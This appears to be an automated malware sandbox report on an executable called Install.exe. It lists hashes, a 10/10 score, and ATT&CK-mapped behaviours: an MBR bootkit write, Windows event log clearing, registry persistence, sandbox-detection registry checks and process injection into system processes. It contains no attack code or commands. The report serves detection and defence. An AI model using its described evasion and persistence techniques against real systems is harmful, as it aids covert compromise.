b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
25s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
30/07/2024, 16:42

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General

Target

Install.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

bootkit defense_evasion discovery execution persistence

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1940 created 616	1940	powershell.EXE	5

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1940	powershell.EXE

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1940 set thread context of 3056	1940	powershell.EXE	89

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	dwm.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400FF73E6911 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a60ff3af6dfeb140ae32d0515eaadf8300000000020000000000106600000001000020000000d403cbd330d09d9dd9ac6cf162228d65f1127b9d9099f3a96df002bf151357c2000000000e80000000020000200000008c6e9a1a037da72c9617995f25064f836a020c2614280acc679e18aed235d41e800000009ba3757e8daf4ec53ec0003146b473009a53f1c98bb4801127f7ddb042630e4d1d6a4eeaeb9be537142d2cb36d00b921aafff33b2791413ba768a21aa8d565cdb21d6befab794b0fb937d7d014071745a5901530be65a385a87c1252e269c2aec18d0689277d3b7359d6a51028977cb1834b4473591dab6162bb790ae6ae840e400000008357a49d75d228dd505f48ee1ca2ef739b31a05f122c18a10758be4e703658f21075f4c7f98420321764941d6a0a2089f2e563f13a9b582d96216d8281df9a6a	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a60ff3af6dfeb140ae32d0515eaadf8300000000020000000000106600000001000020000000dffe43a6c43eef2b00efb60536f164cb526725d636eb6a5326277fe252ad445a000000000e8000000002000020000000364a02ff2ce2bd0339b6ce39437a211fb812d1a14f8d51f11a9a476e616ace05b003000064f3269df54c31f56cb74cfb8b9ac650662b23de5c01d06146ed378f24b934c52ea1dbd1598afb0e228db7dd3f0702db42237b37b3e4c191097ed99419fddea1a2252db535db4abd82074d590796ba10c01543f3467b4b70c8217d9cc11cb573c99fbe51c86d169c5d8796dee1f3176c015d2aa9958f3b2aa4c684a833f533924dbf34e5f759129ee50a8dca1a32470238eaa18a2eabc90a9780e1da17b254658cb49d148f052c0ef29de53900e31fc8622923940f82cbf1a51a4d78dcb2514cfc21c96c5e530b83f38de2600ae8743912ff13d9b7ca9304f4a2344c2ee38b79773dda27120e910f94dc0b5ed02694402e17007d1ea5777b3902c087ebab1ab6c4d4346cfdb6802ffc1af363e16a587900fec7fd9ecfe400f0ee6607bc80a8b57e6bf929c65186d424241fabe524278205641bcff545e57927945389e0066133c0e0e66fbe0658d5e3dec5903f3d456adbac2ac0b3f264d8d690ab52352d6cb3dbd9a4e14d695e53fccfc31f7a1955164d77628ad5700cb2fa631b0c496d3d666e0b9c1664943c7f9fe42756cc4bd9ef6ea004afe763a40433d6738871e5afbc14e1aea47e9cfaa030b09f5abcbc7c99391e987f31407d0e947c4e474de8aae36ce72f1ae00f4fc304b3db38a0fb73971e4078247708ad534c7f42539a3323db5b482b9b48d11fb7a75530b6f31540c14ed3d9ab08bb1c155a96f40ac9c4967de2016c9ded731e654fe8de49d42b167b5d97372501e40932156b5b0a313f9927e0560be860ac833100bc3ffaae7c5ddf1c117ec6ade7cb6a30637496b092386a83afccac888d2314c9b3f20da1f2c79d06a436196807720351683980d1dd341c18619eb6aeacfb1d0ed6db53f32187882b72972f33f67169c13295ba788e762381ef25c8fd75bc3669414273e0048805353000659251bc4638cfdb8eb6b081b558ff47db8c1bf720aadfe09e8afbecf47c30694c893402d31de0e2ad584eaa0eb06fbbd0145f068d58d6d7998a175a05ab7d1e222c53130cdf2ffda5a488b487ad0866f84e75b130d380b1425ebc86db5d4c8658687489919dd136864f1e7927721897cd5c1bf7607c984783f003cf074458707a33b7e105b8e6c99ccbee1e173b20e750071d72f11c35e29a8f0769782c1ad173709624a5fbabff5e563a0f66dd1fbc58e1aea927bbf331a994081fa980a02c3e32a8467a888f17843d4aad2525f717b3e551ba9829ef8b177be90be71bd144a1fc12693835d030db63e25ff658ba41b63f2f8582d2cbff2911476fc5a3aba174a5322510bd2eb977e46ccb86845aa5fd5e483166d22306f39495f483400000005b169b90462fccf3fbe1912ebe8d0bbc49c8c2276767c8dea2eda6c99b09769992b4d1ef18e87b2d884cb2512ed942cdac9b1c0ed78cd0afd7d5b3b6981253a6	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1940	powershell.EXE
1940	powershell.EXE
1940	powershell.EXE
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
1512	wmiprvse.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe
3056	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3512	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.EXE
Token: SeDebugPrivilege	1940	powershell.EXE
Token: SeDebugPrivilege	3056	dllhost.exe
Token: SeShutdownPrivilege	3512	Explorer.EXE
Token: SeCreatePagefilePrivilege	3512	Explorer.EXE
Token: SeShutdownPrivilege	3512	Explorer.EXE
Token: SeCreatePagefilePrivilege	3512	Explorer.EXE
Token: SeCreateGlobalPrivilege	4408	dwm.exe
Token: SeChangeNotifyPrivilege	4408	dwm.exe
Token: 33	4408	dwm.exe
Token: SeIncBasePriorityPrivilege	4408	dwm.exe
Token: SeShutdownPrivilege	3512	Explorer.EXE
Token: SeCreatePagefilePrivilege	3512	Explorer.EXE
Token: SeShutdownPrivilege	5032	svchost.exe
Token: SeCreatePagefilePrivilege	5032	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2044	svchost.exe
Token: SeIncreaseQuotaPrivilege	2044	svchost.exe
Token: SeSecurityPrivilege	2044	svchost.exe
Token: SeTakeOwnershipPrivilege	2044	svchost.exe
Token: SeLoadDriverPrivilege	2044	svchost.exe
Token: SeBackupPrivilege	2044	svchost.exe
Token: SeRestorePrivilege	2044	svchost.exe
Token: SeShutdownPrivilege	2044	svchost.exe
Token: SeSystemEnvironmentPrivilege	2044	svchost.exe
Token: SeManageVolumePrivilege	2044	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2044	svchost.exe
Token: SeIncreaseQuotaPrivilege	2044	svchost.exe
Token: SeSecurityPrivilege	2044	svchost.exe
Token: SeTakeOwnershipPrivilege	2044	svchost.exe
Token: SeLoadDriverPrivilege	2044	svchost.exe
Token: SeSystemtimePrivilege	2044	svchost.exe
Token: SeBackupPrivilege	2044	svchost.exe
Token: SeRestorePrivilege	2044	svchost.exe
Token: SeShutdownPrivilege	2044	svchost.exe
Token: SeSystemEnvironmentPrivilege	2044	svchost.exe
Token: SeUndockPrivilege	2044	svchost.exe
Token: SeManageVolumePrivilege	2044	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2044	svchost.exe
Token: SeIncreaseQuotaPrivilege	2044	svchost.exe
Token: SeSecurityPrivilege	2044	svchost.exe
Token: SeTakeOwnershipPrivilege	2044	svchost.exe
Token: SeLoadDriverPrivilege	2044	svchost.exe
Token: SeSystemtimePrivilege	2044	svchost.exe
Token: SeBackupPrivilege	2044	svchost.exe
Token: SeRestorePrivilege	2044	svchost.exe
Token: SeShutdownPrivilege	2044	svchost.exe
Token: SeSystemEnvironmentPrivilege	2044	svchost.exe
Token: SeUndockPrivilege	2044	svchost.exe
Token: SeManageVolumePrivilege	2044	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2044	svchost.exe
Token: SeIncreaseQuotaPrivilege	2044	svchost.exe
Token: SeSecurityPrivilege	2044	svchost.exe
Token: SeTakeOwnershipPrivilege	2044	svchost.exe
Token: SeLoadDriverPrivilege	2044	svchost.exe
Token: SeSystemtimePrivilege	2044	svchost.exe
Token: SeBackupPrivilege	2044	svchost.exe
Token: SeRestorePrivilege	2044	svchost.exe
Token: SeShutdownPrivilege	2044	svchost.exe
Token: SeSystemEnvironmentPrivilege	2044	svchost.exe
Token: SeUndockPrivilege	2044	svchost.exe
Token: SeManageVolumePrivilege	2044	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2044	svchost.exe
Token: SeIncreaseQuotaPrivilege	2044	svchost.exe
Token: SeSecurityPrivilege	2044	svchost.exe

Suspicious use of FindShellTrayWindow 16 IoCs

pid	Process
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE
3512	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 1940 wrote to memory of 3056	1940	powershell.EXE	89
PID 3056 wrote to memory of 616	3056	dllhost.exe	5
PID 3056 wrote to memory of 672	3056	dllhost.exe	7
PID 3056 wrote to memory of 960	3056	dllhost.exe	12
PID 3056 wrote to memory of 384	3056	dllhost.exe	13
PID 672 wrote to memory of 2740	672	lsass.exe	47
PID 3056 wrote to memory of 448	3056	dllhost.exe	14
PID 3056 wrote to memory of 1028	3056	dllhost.exe	15
PID 3056 wrote to memory of 1104	3056	dllhost.exe	17
PID 672 wrote to memory of 2740	672	lsass.exe	47
PID 3056 wrote to memory of 1120	3056	dllhost.exe	18
PID 3056 wrote to memory of 1184	3056	dllhost.exe	19
PID 3056 wrote to memory of 1216	3056	dllhost.exe	20
PID 3056 wrote to memory of 1260	3056	dllhost.exe	21
PID 3056 wrote to memory of 1324	3056	dllhost.exe	22
PID 3056 wrote to memory of 1356	3056	dllhost.exe	23
PID 3056 wrote to memory of 1476	3056	dllhost.exe	24
PID 3056 wrote to memory of 1500	3056	dllhost.exe	25
PID 3056 wrote to memory of 1576	3056	dllhost.exe	26
PID 3056 wrote to memory of 1588	3056	dllhost.exe	27
PID 3056 wrote to memory of 1656	3056	dllhost.exe	28
PID 3056 wrote to memory of 1720	3056	dllhost.exe	29
PID 3056 wrote to memory of 1748	3056	dllhost.exe	30
PID 3056 wrote to memory of 1776	3056	dllhost.exe	31
PID 3056 wrote to memory of 1836	3056	dllhost.exe	32
PID 672 wrote to memory of 2740	672	lsass.exe	47
PID 3056 wrote to memory of 1980	3056	dllhost.exe	33
PID 3056 wrote to memory of 1988	3056	dllhost.exe	34
PID 3056 wrote to memory of 2044	3056	dllhost.exe	35
PID 3056 wrote to memory of 1740	3056	dllhost.exe	36
PID 3056 wrote to memory of 1804	3056	dllhost.exe	37
PID 3056 wrote to memory of 2112	3056	dllhost.exe	38
PID 3056 wrote to memory of 2212	3056	dllhost.exe	40
PID 3056 wrote to memory of 2384	3056	dllhost.exe	41
PID 3056 wrote to memory of 2480	3056	dllhost.exe	42
PID 3056 wrote to memory of 2488	3056	dllhost.exe	43
PID 3056 wrote to memory of 2664	3056	dllhost.exe	44
PID 3056 wrote to memory of 2684	3056	dllhost.exe	45
PID 3056 wrote to memory of 2692	3056	dllhost.exe	46
PID 3056 wrote to memory of 2740	3056	dllhost.exe	47
PID 3056 wrote to memory of 2796	3056	dllhost.exe	48
PID 3056 wrote to memory of 2816	3056	dllhost.exe	49
PID 3056 wrote to memory of 2824	3056	dllhost.exe	50
PID 3056 wrote to memory of 3028	3056	dllhost.exe	51
PID 3056 wrote to memory of 3068	3056	dllhost.exe	52
PID 3056 wrote to memory of 2276	3056	dllhost.exe	53
PID 3056 wrote to memory of 3424	3056	dllhost.exe	55
PID 3056 wrote to memory of 3512	3056	dllhost.exe	56
PID 3056 wrote to memory of 3632	3056	dllhost.exe	57
PID 3056 wrote to memory of 3824	3056	dllhost.exe	58
PID 3056 wrote to memory of 3980	3056	dllhost.exe	60
PID 3056 wrote to memory of 3572	3056	dllhost.exe	62
PID 3056 wrote to memory of 3552	3056	dllhost.exe	65
PID 3056 wrote to memory of 4684	3056	dllhost.exe	67
PID 3056 wrote to memory of 2720	3056	dllhost.exe	68
PID 3056 wrote to memory of 1288	3056	dllhost.exe	69
